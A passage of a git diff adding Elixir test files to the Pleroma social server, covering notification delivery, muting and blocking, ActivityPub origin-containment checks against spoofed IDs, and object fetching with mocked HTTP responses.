+ refute Notification.create_notification(activity, author) + end + + test "it doesn't create duplicate notifications for follow+subscribed users" do + user = insert(:user) + subscriber = insert(:user) + + {:ok, _, _, _} = CommonAPI.follow(subscriber, user) + User.subscribe(subscriber, user) + {:ok, status} = CommonAPI.post(user, %{status: "Akariiiin"}) + {:ok, [_notif]} = Notification.create_notifications(status) + end + + test "it doesn't create subscription notifications if the recipient cannot see the status" do + user = insert(:user) + subscriber = insert(:user) + + User.subscribe(subscriber, user) + + {:ok, status} = CommonAPI.post(user, %{status: "inwisible", visibility: "direct"}) + + assert {:ok, []} == Notification.create_notifications(status) + end + + test "it disables notifications from people who are invisible" do + author = insert(:user, invisible: true) + user = insert(:user) + + {:ok, status} = CommonAPI.post(author, %{status: "hey @#{user.nickname}"}) + refute Notification.create_notification(status, user) + end + + test "it doesn't create notifications if content matches with an irreversible filter" do + user = insert(:user) + subscriber = insert(:user) + + User.subscribe(subscriber, user) + insert(:filter, user: subscriber, phrase: "cofe", hide: true) + + {:ok, status} = CommonAPI.post(user, %{status: "got cofe?"}) + + assert {:ok, []} == Notification.create_notifications(status) + end + + test "it creates notifications if content matches with a not irreversible filter" do + user = insert(:user) + subscriber = insert(:user) + + User.subscribe(subscriber, user) + insert(:filter, user: subscriber, phrase: "cofe", hide: false) + + {:ok, status} = CommonAPI.post(user, %{status: "got cofe?"}) + {:ok, [notification]} = Notification.create_notifications(status) + + assert notification + refute notification.seen + end + + test "it creates notifications when someone likes user's status with a filtered word" do + user = insert(:user) + other_user = insert(:user) + insert(:filter, user: user, phrase: "tesla", hide: true) + + {:ok, activity_one} = CommonAPI.post(user, %{status: "wow tesla"}) + {:ok, activity_two} = CommonAPI.favorite(other_user, activity_one.id) + + {:ok, [notification]} = Notification.create_notifications(activity_two) + + assert notification + refute notification.seen + end + end + + describe "follow / follow_request notifications" do + test "it creates `follow` notification for approved Follow activity" do + user = insert(:user) + followed_user = insert(:user, locked: false) + + {:ok, _, _, _activity} = CommonAPI.follow(user, followed_user) + assert FollowingRelationship.following?(user, followed_user) + assert [notification] = Notification.for_user(followed_user) + + assert %{type: "follow"} = + NotificationView.render("show.json", %{ + notification: notification, + for: followed_user + }) + end + + test "it creates `follow_request` notification for pending Follow activity" do + user = insert(:user) + followed_user = insert(:user, locked: true) + + {:ok, _, _, _activity} = CommonAPI.follow(user, followed_user) + refute FollowingRelationship.following?(user, followed_user) + assert [notification] = Notification.for_user(followed_user) + + render_opts = %{notification: notification, for: followed_user} + assert %{type: "follow_request"} = NotificationView.render("show.json", render_opts) + + # After request is accepted, the same notification is rendered with type "follow": + assert {:ok, _} = CommonAPI.accept_follow_request(user, followed_user) + + notification = + Repo.get(Notification, notification.id) + |> Repo.preload(:activity) + + assert %{type: "follow"} = + NotificationView.render("show.json", notification: notification, for: followed_user) + end + + test "it doesn't create a notification for follow-unfollow-follow chains" do + user = insert(:user) + followed_user = insert(:user, locked: false) + + {:ok, _, _, _activity} = CommonAPI.follow(user, followed_user) + assert FollowingRelationship.following?(user, followed_user) + assert [notification] = Notification.for_user(followed_user) + + CommonAPI.unfollow(user, followed_user) + {:ok, _, _, _activity_dupe} = CommonAPI.follow(user, followed_user) + + notification_id = notification.id + assert [%{id: ^notification_id}] = Notification.for_user(followed_user) + end + + test "dismisses the notification on follow request rejection" do + user = insert(:user, locked: true) + follower = insert(:user) + {:ok, _, _, _follow_activity} = CommonAPI.follow(follower, user) + assert [notification] = Notification.for_user(user) + {:ok, _follower} = CommonAPI.reject_follow_request(follower, user) + assert [] = Notification.for_user(user) + end + end + + describe "get notification" do + test "it gets a notification that belongs to the user" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{other_user.nickname}"}) + + {:ok, [notification]} = Notification.create_notifications(activity) + {:ok, notification} = Notification.get(other_user, notification.id) + + assert notification.user_id == other_user.id + end + + test "it returns error if the notification doesn't belong to the user" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{other_user.nickname}"}) + + {:ok, [notification]} = Notification.create_notifications(activity) + {:error, _notification} = Notification.get(user, notification.id) + end + end + + describe "dismiss notification" do + test "it dismisses a notification that belongs to the user" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{other_user.nickname}"}) + + {:ok, [notification]} = Notification.create_notifications(activity) + {:ok, notification} = Notification.dismiss(other_user, notification.id) + + assert notification.user_id == other_user.id + end + + test "it returns error if the notification doesn't belong to the user" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{other_user.nickname}"}) + + {:ok, [notification]} = Notification.create_notifications(activity) + {:error, _notification} = Notification.dismiss(user, notification.id) + end + end + + describe "clear notification" do + test "it clears all notifications belonging to the user" do + user = insert(:user) + other_user = insert(:user) + third_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "hey @#{other_user.nickname} and @#{third_user.nickname} !" + }) + + {:ok, _notifs} = Notification.create_notifications(activity) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "hey again @#{other_user.nickname} and @#{third_user.nickname} !" + }) + + {:ok, _notifs} = Notification.create_notifications(activity) + Notification.clear(other_user) + + assert Notification.for_user(other_user) == [] + assert Notification.for_user(third_user) != [] + end + end + + describe "set_read_up_to()" do + test "it sets all notifications as read up to a specified notification ID" do + user = insert(:user) + other_user = insert(:user) + + {:ok, _activity} = + CommonAPI.post(user, %{ + status: "hey @#{other_user.nickname}!" + }) + + {:ok, _activity} = + CommonAPI.post(user, %{ + status: "hey again @#{other_user.nickname}!" + }) + + [n2, n1] = Notification.for_user(other_user) + + assert n2.id > n1.id + + {:ok, _activity} = + CommonAPI.post(user, %{ + status: "hey yet again @#{other_user.nickname}!" + }) + + [_, read_notification] = Notification.set_read_up_to(other_user, n2.id) + + assert read_notification.activity.object + + [n3, n2, n1] = Notification.for_user(other_user) + + assert n1.seen == true + assert n2.seen == true + assert n3.seen == false + + assert %Pleroma.Marker{} = + m = + Pleroma.Repo.get_by( + Pleroma.Marker, + user_id: other_user.id, + timeline: "notifications" + ) + + assert m.last_read_id == to_string(n2.id) + end + end + + describe "for_user_since/2" do + defp days_ago(days) do + NaiveDateTime.add( + NaiveDateTime.truncate(NaiveDateTime.utc_now(), :second), + -days * 60 * 60 * 24, + :second + ) + end + + test "Returns recent notifications" do + user1 = insert(:user) + user2 = insert(:user) + + Enum.each(0..10, fn i -> + {:ok, _activity} = + CommonAPI.post(user1, %{ + status: "hey ##{i} @#{user2.nickname}!" + }) + end) + + {old, new} = Enum.split(Notification.for_user(user2), 5) + + Enum.each(old, fn notification -> + notification + |> cast(%{updated_at: days_ago(10)}, [:updated_at]) + |> Pleroma.Repo.update!() + end) + + recent_notifications_ids = + user2 + |> Notification.for_user_since( + NaiveDateTime.add(NaiveDateTime.utc_now(), -5 * 86_400, :second) + ) + |> Enum.map(& &1.id) + + Enum.each(old, fn %{id: id} -> + refute id in recent_notifications_ids + end) + + Enum.each(new, fn %{id: id} -> + assert id in recent_notifications_ids + end) + end + end + + describe "notification target determination / get_notified_from_activity/2" do + test "it sends notifications to addressed users in new messages" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "hey @#{other_user.nickname}!" + }) + + {enabled_receivers, _disabled_receivers} = Notification.get_notified_from_activity(activity) + + assert other_user in enabled_receivers + end + + test "it sends notifications to mentioned users in new messages" do + user = insert(:user) + other_user = insert(:user) + + create_activity = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "type" => "Create", + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "actor" => user.ap_id, + "object" => %{ + "type" => "Note", + "content" => "message with a Mention tag, but no explicit tagging", + "tag" => [ + %{ + "type" => "Mention", + "href" => other_user.ap_id, + "name" => other_user.nickname + } + ], + "attributedTo" => user.ap_id + } + } + + {:ok, activity} = Transmogrifier.handle_incoming(create_activity) + + {enabled_receivers, _disabled_receivers} = Notification.get_notified_from_activity(activity) + + assert other_user in enabled_receivers + end + + test "it does not send notifications to users who are only cc in new messages" do + user = insert(:user) + other_user = insert(:user) + + create_activity = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "type" => "Create", + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "cc" => [other_user.ap_id], + "actor" => user.ap_id, + "object" => %{ + "type" => "Note", + "content" => "hi everyone", + "attributedTo" => user.ap_id + } + } + + {:ok, activity} = Transmogrifier.handle_incoming(create_activity) + + {enabled_receivers, _disabled_receivers} = Notification.get_notified_from_activity(activity) + + assert other_user not in enabled_receivers + end + + test "it does not send notification to mentioned users in likes" do + user = insert(:user) + other_user = insert(:user) + third_user = insert(:user) + + {:ok, activity_one} = + CommonAPI.post(user, %{ + status: "hey @#{other_user.nickname}!" + }) + + {:ok, activity_two} = CommonAPI.favorite(third_user, activity_one.id) + + {enabled_receivers, _disabled_receivers} = + Notification.get_notified_from_activity(activity_two) + + assert other_user not in enabled_receivers + end + + test "it only notifies the post's author in likes" do + user = insert(:user) + other_user = insert(:user) + third_user = insert(:user) + + {:ok, activity_one} = + CommonAPI.post(user, %{ + status: "hey @#{other_user.nickname}!" + }) + + {:ok, like_data, _} = Builder.like(third_user, activity_one.object) + + {:ok, like, _} = + like_data + |> Map.put("to", [other_user.ap_id | like_data["to"]]) + |> ActivityPub.persist(local: true) + + {enabled_receivers, _disabled_receivers} = Notification.get_notified_from_activity(like) + + assert other_user not in enabled_receivers + end + + test "it does not send notification to mentioned users in announces" do + user = insert(:user) + other_user = insert(:user) + third_user = insert(:user) + + {:ok, activity_one} = + CommonAPI.post(user, %{ + status: "hey @#{other_user.nickname}!" + }) + + {:ok, activity_two} = CommonAPI.repeat(activity_one.id, third_user) + + {enabled_receivers, _disabled_receivers} = + Notification.get_notified_from_activity(activity_two) + + assert other_user not in enabled_receivers + end + + test "it returns blocking recipient in disabled recipients list" do + user = insert(:user) + other_user = insert(:user) + {:ok, _user_relationship} = User.block(other_user, user) + + {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{other_user.nickname}!"}) + + {enabled_receivers, disabled_receivers} = Notification.get_notified_from_activity(activity) + + assert [] == enabled_receivers + assert [other_user] == disabled_receivers + end + + test "it returns notification-muting recipient in disabled recipients list" do + user = insert(:user) + other_user = insert(:user) + {:ok, _user_relationships} = User.mute(other_user, user) + + {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{other_user.nickname}!"}) + + {enabled_receivers, disabled_receivers} = Notification.get_notified_from_activity(activity) + + assert [] == enabled_receivers + assert [other_user] == disabled_receivers + end + + test "it returns thread-muting recipient in disabled recipients list" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{other_user.nickname}!"}) + + {:ok, _} = CommonAPI.add_mute(other_user, activity) + + {:ok, same_context_activity} = + CommonAPI.post(user, %{ + status: "hey-hey-hey @#{other_user.nickname}!", + in_reply_to_status_id: activity.id + }) + + {enabled_receivers, disabled_receivers} = + Notification.get_notified_from_activity(same_context_activity) + + assert [other_user] == disabled_receivers + refute other_user in enabled_receivers + end + + test "it returns non-following domain-blocking recipient in disabled recipients list" do + blocked_domain = "blocked.domain" + user = insert(:user, %{ap_id: "https://#{blocked_domain}/@actor"}) + other_user = insert(:user) + + {:ok, other_user} = User.block_domain(other_user, blocked_domain) + + {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{other_user.nickname}!"}) + + {enabled_receivers, disabled_receivers} = Notification.get_notified_from_activity(activity) + + assert [] == enabled_receivers + assert [other_user] == disabled_receivers + end + + test "it returns following domain-blocking recipient in enabled recipients list" do + blocked_domain = "blocked.domain" + user = insert(:user, %{ap_id: "https://#{blocked_domain}/@actor"}) + other_user = insert(:user) + + {:ok, other_user} = User.block_domain(other_user, blocked_domain) + {:ok, other_user} = User.follow(other_user, user) + + {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{other_user.nickname}!"}) + + {enabled_receivers, disabled_receivers} = Notification.get_notified_from_activity(activity) + + assert [other_user] == enabled_receivers + assert [] == disabled_receivers + end + end + + describe "notification lifecycle" do + test "liking an activity results in 1 notification, then 0 if the activity is deleted" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "test post"}) + + assert Enum.empty?(Notification.for_user(user)) + + {:ok, _} = CommonAPI.favorite(other_user, activity.id) + + assert length(Notification.for_user(user)) == 1 + + {:ok, _} = CommonAPI.delete(activity.id, user) + + assert Enum.empty?(Notification.for_user(user)) + end + + test "liking an activity results in 1 notification, then 0 if the activity is unliked" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "test post"}) + + assert Enum.empty?(Notification.for_user(user)) + + {:ok, _} = CommonAPI.favorite(other_user, activity.id) + + assert length(Notification.for_user(user)) == 1 + + {:ok, _} = CommonAPI.unfavorite(activity.id, other_user) + + assert Enum.empty?(Notification.for_user(user)) + end + + test "repeating an activity results in 1 notification, then 0 if the activity is deleted" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "test post"}) + + assert Enum.empty?(Notification.for_user(user)) + + {:ok, _} = CommonAPI.repeat(activity.id, other_user) + + assert length(Notification.for_user(user)) == 1 + + {:ok, _} = CommonAPI.delete(activity.id, user) + + assert Enum.empty?(Notification.for_user(user)) + end + + test "repeating an activity results in 1 notification, then 0 if the activity is unrepeated" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "test post"}) + + assert Enum.empty?(Notification.for_user(user)) + + {:ok, _} = CommonAPI.repeat(activity.id, other_user) + + assert length(Notification.for_user(user)) == 1 + + {:ok, _} = CommonAPI.unrepeat(activity.id, other_user) + + assert Enum.empty?(Notification.for_user(user)) + end + + test "liking an activity which is already deleted does not generate a notification" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "test post"}) + + assert Enum.empty?(Notification.for_user(user)) + + {:ok, _deletion_activity} = CommonAPI.delete(activity.id, user) + + assert Enum.empty?(Notification.for_user(user)) + + {:error, :not_found} = CommonAPI.favorite(other_user, activity.id) + + assert Enum.empty?(Notification.for_user(user)) + end + + test "repeating an activity which is already deleted does not generate a notification" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "test post"}) + + assert Enum.empty?(Notification.for_user(user)) + + {:ok, _deletion_activity} = CommonAPI.delete(activity.id, user) + + assert Enum.empty?(Notification.for_user(user)) + + {:error, _} = CommonAPI.repeat(activity.id, other_user) + + assert Enum.empty?(Notification.for_user(user)) + end + + test "replying to a deleted post without tagging does not generate a notification" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "test post"}) + {:ok, _deletion_activity} = CommonAPI.delete(activity.id, user) + + {:ok, _reply_activity} = + CommonAPI.post(other_user, %{ + status: "test reply", + in_reply_to_status_id: activity.id + }) + + assert Enum.empty?(Notification.for_user(user)) + end + + test "notifications are deleted if a local user is deleted" do + user = insert(:user) + other_user = insert(:user) + + {:ok, _activity} = + CommonAPI.post(user, %{status: "hi @#{other_user.nickname}", visibility: "direct"}) + + refute Enum.empty?(Notification.for_user(other_user)) + + {:ok, job} = User.delete(user) + ObanHelpers.perform(job) + + assert Enum.empty?(Notification.for_user(other_user)) + end + + test "notifications are deleted if a remote user is deleted" do + remote_user = insert(:user) + local_user = insert(:user) + + dm_message = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "type" => "Create", + "actor" => remote_user.ap_id, + "id" => remote_user.ap_id <> "/activities/test", + "to" => [local_user.ap_id], + "cc" => [], + "object" => %{ + "type" => "Note", + "content" => "Hello!", + "tag" => [ + %{ + "type" => "Mention", + "href" => local_user.ap_id, + "name" => "@#{local_user.nickname}" + } + ], + "to" => [local_user.ap_id], + "cc" => [], + "attributedTo" => remote_user.ap_id + } + } + + {:ok, _dm_activity} = Transmogrifier.handle_incoming(dm_message) + + refute Enum.empty?(Notification.for_user(local_user)) + + delete_user_message = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "id" => remote_user.ap_id <> "/activities/delete", + "actor" => remote_user.ap_id, + "type" => "Delete", + "object" => remote_user.ap_id + } + + remote_user_url = remote_user.ap_id + + Tesla.Mock.mock(fn + %{method: :get, url: ^remote_user_url} -> + %Tesla.Env{status: 404, body: ""} + end) + + {:ok, _delete_activity} = Transmogrifier.handle_incoming(delete_user_message) + ObanHelpers.perform_all() + + assert Enum.empty?(Notification.for_user(local_user)) + end + + @tag capture_log: true + test "move activity generates a notification" do + %{ap_id: old_ap_id} = old_user = insert(:user) + %{ap_id: new_ap_id} = new_user = insert(:user, also_known_as: [old_ap_id]) + follower = insert(:user) + other_follower = insert(:user, %{allow_following_move: false}) + + User.follow(follower, old_user) + User.follow(other_follower, old_user) + + old_user_url = old_user.ap_id + + body = + File.read!("test/fixtures/users_mock/localhost.json") + |> String.replace("{{nickname}}", old_user.nickname) + |> Jason.encode!() + + Tesla.Mock.mock(fn + %{method: :get, url: ^old_user_url} -> + %Tesla.Env{status: 200, body: body} + end) + + Pleroma.Web.ActivityPub.ActivityPub.move(old_user, new_user) + ObanHelpers.perform_all() + + assert [ + %{ + activity: %{ + data: %{"type" => "Move", "actor" => ^old_ap_id, "target" => ^new_ap_id} + } + } + ] = Notification.for_user(follower) + + assert [ + %{ + activity: %{ + data: %{"type" => "Move", "actor" => ^old_ap_id, "target" => ^new_ap_id} + } + } + ] = Notification.for_user(other_follower) + end + end + + describe "for_user" do + setup do + user = insert(:user) + + {:ok, %{user: user}} + end + + test "it returns notifications for muted user without notifications", %{user: user} do + muted = insert(:user) + {:ok, _user_relationships} = User.mute(user, muted, false) + + {:ok, _activity} = CommonAPI.post(muted, %{status: "hey @#{user.nickname}"}) + + [notification] = Notification.for_user(user) + + assert notification.activity.object + assert notification.seen + end + + test "it doesn't return notifications for muted user with notifications", %{user: user} do + muted = insert(:user) + {:ok, _user_relationships} = User.mute(user, muted) + + {:ok, _activity} = CommonAPI.post(muted, %{status: "hey @#{user.nickname}"}) + + assert Notification.for_user(user) == [] + end + + test "it doesn't return notifications for blocked user", %{user: user} do + blocked = insert(:user) + {:ok, _user_relationship} = User.block(user, blocked) + + {:ok, _activity} = CommonAPI.post(blocked, %{status: "hey @#{user.nickname}"}) + + assert Notification.for_user(user) == [] + end + + test "it doesn't return notifications for domain-blocked non-followed user", %{user: user} do + blocked = insert(:user, ap_id: "http://some-domain.com") + {:ok, user} = User.block_domain(user, "some-domain.com") + + {:ok, _activity} = CommonAPI.post(blocked, %{status: "hey @#{user.nickname}"}) + + assert Notification.for_user(user) == [] + end + + test "it returns notifications for domain-blocked but followed user" do + user = insert(:user) + blocked = insert(:user, ap_id: "http://some-domain.com") + + {:ok, user} = User.block_domain(user, "some-domain.com") + {:ok, _} = User.follow(user, blocked) + + {:ok, _activity} = CommonAPI.post(blocked, %{status: "hey @#{user.nickname}"}) + + assert length(Notification.for_user(user)) == 1 + end + + test "it doesn't return notifications for muted thread", %{user: user} do + another_user = insert(:user) + + {:ok, activity} = CommonAPI.post(another_user, %{status: "hey @#{user.nickname}"}) + + {:ok, _} = Pleroma.ThreadMute.add_mute(user.id, activity.data["context"]) + assert Notification.for_user(user) == [] + end + + test "it returns notifications from a muted user when with_muted is set", %{user: user} do + muted = insert(:user) + {:ok, _user_relationships} = User.mute(user, muted) + + {:ok, _activity} = CommonAPI.post(muted, %{status: "hey @#{user.nickname}"}) + + assert length(Notification.for_user(user, %{with_muted: true})) == 1 + end + + test "it doesn't return notifications from a blocked user when with_muted is set", %{ + user: user + } do + blocked = insert(:user) + {:ok, _user_relationship} = User.block(user, blocked) + + {:ok, _activity} = CommonAPI.post(blocked, %{status: "hey @#{user.nickname}"}) + + assert Enum.empty?(Notification.for_user(user, %{with_muted: true})) + end + + test "when with_muted is set, " <> + "it doesn't return notifications from a domain-blocked non-followed user", + %{user: user} do + blocked = insert(:user, ap_id: "http://some-domain.com") + {:ok, user} = User.block_domain(user, "some-domain.com") + + {:ok, _activity} = CommonAPI.post(blocked, %{status: "hey @#{user.nickname}"}) + + assert Enum.empty?(Notification.for_user(user, %{with_muted: true})) + end + + test "it returns notifications from muted threads when with_muted is set", %{user: user} do + another_user = insert(:user) + + {:ok, activity} = CommonAPI.post(another_user, %{status: "hey @#{user.nickname}"}) + + {:ok, _} = Pleroma.ThreadMute.add_mute(user.id, activity.data["context"]) + assert length(Notification.for_user(user, %{with_muted: true})) == 1 + end + + test "it doesn't return notifications about mentions with filtered word", %{user: user} do + insert(:filter, user: user, phrase: "cofe", hide: true) + another_user = insert(:user) + + {:ok, _activity} = CommonAPI.post(another_user, %{status: "@#{user.nickname} got cofe?"}) + + assert Enum.empty?(Notification.for_user(user)) + end + + test "it returns notifications about mentions with not hidden filtered word", %{user: user} do + insert(:filter, user: user, phrase: "test", hide: false) + another_user = insert(:user) + + {:ok, _} = CommonAPI.post(another_user, %{status: "@#{user.nickname} test"}) + + assert length(Notification.for_user(user)) == 1 + end + + test "it returns notifications about favorites with filtered word", %{user: user} do + insert(:filter, user: user, phrase: "cofe", hide: true) + another_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "Give me my cofe!"}) + {:ok, _} = CommonAPI.favorite(another_user, activity.id) + + assert length(Notification.for_user(user)) == 1 + end + end +end diff --git a/test/pleroma/object/containment_test.exs b/test/pleroma/object/containment_test.exs new file mode 100644 index 000000000..90b6dccf2 --- /dev/null +++ b/test/pleroma/object/containment_test.exs @@ -0,0 +1,125 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Object.ContainmentTest do + use Pleroma.DataCase + + alias Pleroma.Object.Containment + alias Pleroma.User + + import Pleroma.Factory + import ExUnit.CaptureLog + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + describe "general origin containment" do + test "works for completely actorless posts" do + assert :error == + Containment.contain_origin("https://glaceon.social/users/monorail", %{ + "deleted" => "2019-10-30T05:48:50.249606Z", + "formerType" => "Note", + "id" => "https://glaceon.social/users/monorail/statuses/103049757364029187", + "type" => "Tombstone" + }) + end + + test "contain_origin_from_id() catches obvious spoofing attempts" do + data = %{ + "id" => "http://example.com/~alyssa/activities/1234.json" + } + + :error = + Containment.contain_origin_from_id( + "http://example.org/~alyssa/activities/1234.json", + data + ) + end + + test "contain_origin_from_id() allows alternate IDs within the same origin domain" do + data = %{ + "id" => "http://example.com/~alyssa/activities/1234.json" + } + + :ok = + Containment.contain_origin_from_id( + "http://example.com/~alyssa/activities/1234", + data + ) + end + + test "contain_origin_from_id() allows matching IDs" do + data = %{ + "id" => "http://example.com/~alyssa/activities/1234.json" + } + + :ok = + Containment.contain_origin_from_id( + "http://example.com/~alyssa/activities/1234.json", + data + ) + end + + test "users cannot be collided through fake direction spoofing attempts" do + _user = + insert(:user, %{ + nickname: "rye@niu.moe", + local: false, + ap_id: "https://niu.moe/users/rye", + follower_address: User.ap_followers(%User{nickname: "rye@niu.moe"}) + }) + + assert capture_log(fn -> + {:error, _} = User.get_or_fetch_by_ap_id("https://n1u.moe/users/rye") + end) =~ + "[error] Could not decode user at fetch https://n1u.moe/users/rye" + end + + test "contain_origin_from_id() gracefully handles cases where no ID is present" do + data = %{ + "type" => "Create", + "object" => %{ + "id" => "http://example.net/~alyssa/activities/1234", + "attributedTo" => "http://example.org/~alyssa" + }, + "actor" => "http://example.com/~bob" + } + + :error = + Containment.contain_origin_from_id("http://example.net/~alyssa/activities/1234", data) + end + end + + describe "containment of children" do + test "contain_child() catches spoofing attempts" do + data = %{ + "id" => "http://example.com/whatever", + "type" => "Create", + "object" => %{ + "id" => "http://example.net/~alyssa/activities/1234", + "attributedTo" => "http://example.org/~alyssa" + }, + "actor" => "http://example.com/~bob" + } + + :error = Containment.contain_child(data) + end + + test "contain_child() allows correct origins" do + data = %{ + "id" => "http://example.org/~alyssa/activities/5678", + "type" => "Create", + "object" => %{ + "id" => "http://example.org/~alyssa/activities/1234", + "attributedTo" => "http://example.org/~alyssa" + }, + "actor" => "http://example.org/~alyssa" + } + + :ok = Containment.contain_child(data) + end + end +end diff --git a/test/pleroma/object/fetcher_test.exs b/test/pleroma/object/fetcher_test.exs new file mode 100644 index 000000000..14d2c645f --- /dev/null +++ b/test/pleroma/object/fetcher_test.exs @@ -0,0 +1,245 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Object.FetcherTest do + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Config + alias Pleroma.Object + alias Pleroma.Object.Fetcher + + import Mock + import Tesla.Mock + + setup do + mock(fn + %{method: :get, url: "https://mastodon.example.org/users/userisgone"} -> + %Tesla.Env{status: 410} + + %{method: :get, url: "https://mastodon.example.org/users/userisgone404"} -> + %Tesla.Env{status: 404} + + env -> + apply(HttpRequestMock, :request, [env]) + end) + + :ok + end + + describe "error cases" do + setup do + mock(fn + %{method: :get, url: "https://social.sakamoto.gq/notice/9wTkLEnuq47B25EehM"} -> + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/fetch_mocks/9wTkLEnuq47B25EehM.json") + } + + %{method: :get, url: "https://social.sakamoto.gq/users/eal"} -> + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/fetch_mocks/eal.json") + } + + %{method: :get, url: "https://busshi.moe/users/tuxcrafting/statuses/104410921027210069"} -> + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/fetch_mocks/104410921027210069.json") + } + + %{method: :get, url: "https://busshi.moe/users/tuxcrafting"} -> + %Tesla.Env{ + status: 500 + } + end) + + :ok + end + + @tag capture_log: true + test "it works when fetching the OP actor errors out" do + # Here we simulate a case where the author of the OP can't be read + assert {:ok, _} = + Fetcher.fetch_object_from_id( + "https://social.sakamoto.gq/notice/9wTkLEnuq47B25EehM" + ) + end + end + + describe "max thread distance restriction" do + @ap_id "http://mastodon.example.org/@admin/99541947525187367" + setup do: clear_config([:instance, :federation_incoming_replies_max_depth]) + + test "it returns thread depth exceeded error if thread depth is exceeded" do + Config.put([:instance, :federation_incoming_replies_max_depth], 0) + + assert {:error, "Max thread distance exceeded."} = + Fetcher.fetch_object_from_id(@ap_id, depth: 1) + end + + test "it fetches object if max thread depth is restricted to 0 and depth is not specified" do + Config.put([:instance, :federation_incoming_replies_max_depth], 0) + + assert {:ok, _} = Fetcher.fetch_object_from_id(@ap_id) + end + + test "it fetches object if requested depth does not exceed max thread depth" do + Config.put([:instance, :federation_incoming_replies_max_depth], 10) + + assert {:ok, _} = Fetcher.fetch_object_from_id(@ap_id, depth: 10) + end + end + + describe "actor origin containment" do + test "it rejects objects with a bogus origin" do + {:error, _} = Fetcher.fetch_object_from_id("https://info.pleroma.site/activity.json") + end + + test "it rejects objects when attributedTo is wrong (variant 1)" do + {:error, _} = Fetcher.fetch_object_from_id("https://info.pleroma.site/activity2.json") + end + + test "it rejects objects when attributedTo is wrong (variant 2)" do + {:error, _} = Fetcher.fetch_object_from_id("https://info.pleroma.site/activity3.json") + end + end + + describe "fetching an object" do + test "it fetches an object" do + {:ok, object} = + Fetcher.fetch_object_from_id("http://mastodon.example.org/@admin/99541947525187367") + + assert activity = Activity.get_create_by_object_ap_id(object.data["id"]) + assert activity.data["id"] + + {:ok, object_again} = + Fetcher.fetch_object_from_id("http://mastodon.example.org/@admin/99541947525187367") + + assert [attachment] = object.data["attachment"] + assert is_list(attachment["url"]) + + assert object == object_again + end + + test "Return MRF reason when fetched status is rejected by one" do + clear_config([:mrf_keyword, :reject], ["yeah"]) + clear_config([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.KeywordPolicy]) + + assert {:reject, "[KeywordPolicy] Matches with rejected keyword"} == + Fetcher.fetch_object_from_id( + "http://mastodon.example.org/@admin/99541947525187367" + ) + end + end + + describe "implementation quirks" do + test "it can fetch plume articles" do + {:ok, object} = + Fetcher.fetch_object_from_id( + "https://baptiste.gelez.xyz/~/PlumeDevelopment/this-month-in-plume-june-2018/" + ) + + assert object + end + + test "it can fetch peertube videos" do + {:ok, object} = + Fetcher.fetch_object_from_id( + "https://peertube.moe/videos/watch/df5f464b-be8d-46fb-ad81-2d4c2d1630e3" + ) + + assert object + end + + test "it can fetch Mobilizon events" do + {:ok, object} = + Fetcher.fetch_object_from_id( + "https://mobilizon.org/events/252d5816-00a3-4a89-a66f-15bf65c33e39" + ) + + assert object + end + + test "it can fetch wedistribute articles" do + {:ok, object} = + Fetcher.fetch_object_from_id("https://wedistribute.org/wp-json/pterotype/v1/object/85810") + + assert object + end + + test "all objects with fake directions are rejected by the object fetcher" do + assert {:error, _} = + Fetcher.fetch_and_contain_remote_object_from_id( + "https://info.pleroma.site/activity4.json" + ) + end + + test "handle HTTP 410 Gone response" do + assert {:error, "Object has been deleted"} == + Fetcher.fetch_and_contain_remote_object_from_id( + "https://mastodon.example.org/users/userisgone" + ) + end + + test "handle HTTP 404 response" do + assert {:error, "Object has been deleted"} == + Fetcher.fetch_and_contain_remote_object_from_id( + "https://mastodon.example.org/users/userisgone404" + ) + end + + test "it can fetch pleroma polls with attachments" do + {:ok, object} = + Fetcher.fetch_object_from_id("https://patch.cx/objects/tesla_mock/poll_attachment") + + assert object + end + end + + describe "pruning" do + test "it can refetch pruned objects" do + object_id = "http://mastodon.example.org/@admin/99541947525187367" + + {:ok, object} = Fetcher.fetch_object_from_id(object_id) + + assert object + + {:ok, _object} = 